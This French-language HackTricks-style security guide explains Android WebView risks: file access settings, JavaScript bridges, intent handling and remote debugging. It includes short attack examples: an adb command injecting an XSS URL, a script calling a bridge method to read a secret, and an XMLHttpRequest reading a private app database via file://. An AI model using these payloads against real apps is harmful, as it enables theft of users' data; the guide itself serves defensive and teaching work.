7.6 KiB
Attaques WebView
{{#include ../../banners/hacktricks-training.md}}
Guide sur les configurations et la sécurité de WebView
Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.
Accès aux fichiers dans WebViews
Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess()
, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file
).
Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL
- Accès universel depuis des URL de fichiers : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des attaques XSS potentielles. Le paramètre par défaut est désactivé (
false
) pour les applications ciblant Android Jelly Bean et les versions ultérieures. - Pour vérifier ce paramètre, utilisez
getAllowUniversalAccessFromFileURLs()
. - Pour modifier ce paramètre, utilisez
setAllowUniversalAccessFromFileURLs(boolean)
. - Accès aux fichiers depuis des URL de fichiers : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
- Utilisez
getAllowFileAccessFromFileURLs()
pour vérifier etsetAllowFileAccessFromFileURLs(boolean)
pour définir.
Chargement sécurisé de fichiers
Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess()
est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est false
.
- Vérifiez avec
getAllowFileAccess()
. - Activez ou désactivez avec
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion de CORS.
loadUrl
C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
webview.loadUrl("<url here>")
Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de contrôler l'URL qu'une application va charger.
Gestion de JavaScript et du schéma Intent
- JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via
setJavaScriptEnabled()
. Une prudence est conseillée car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité. - Schéma Intent : Les WebViews peuvent gérer le schéma
intent
, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).
Exemple d'exploitation utilisant adb :
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface
, qui intègre JavaScript avec les fonctionnalités Android natives, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
- Une extrême prudence est requise pour les applications ciblant des versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.
Implementing a JavaScript Bridge
- Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge est activé en ajoutant une interface au WebView :
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- L'exploitation potentielle via JavaScript, par exemple, à travers une attaque XSS, permet d'appeler des méthodes Java exposées :
<script>
alert(javascriptBridge.getSecret())
</script>
- Pour atténuer les risques, limitez l'utilisation du pont JavaScript au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.
Exécution de Code à Distance (RCE) Basée sur la Réflexion
- Une méthode documentée permet d'atteindre le RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation
@JavascriptInterface
empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.
Débogage à Distance
- Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
Activation du Débogage à Distance
- Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrer des fichiers arbitraires
- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Références
- https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
- https://github.com/authenticationfailure/WheresMyBrowser.Android
- https://developer.android.com/reference/android/webkit/WebView
- https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1
- https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I
{{#include ../../banners/hacktricks-training.md}}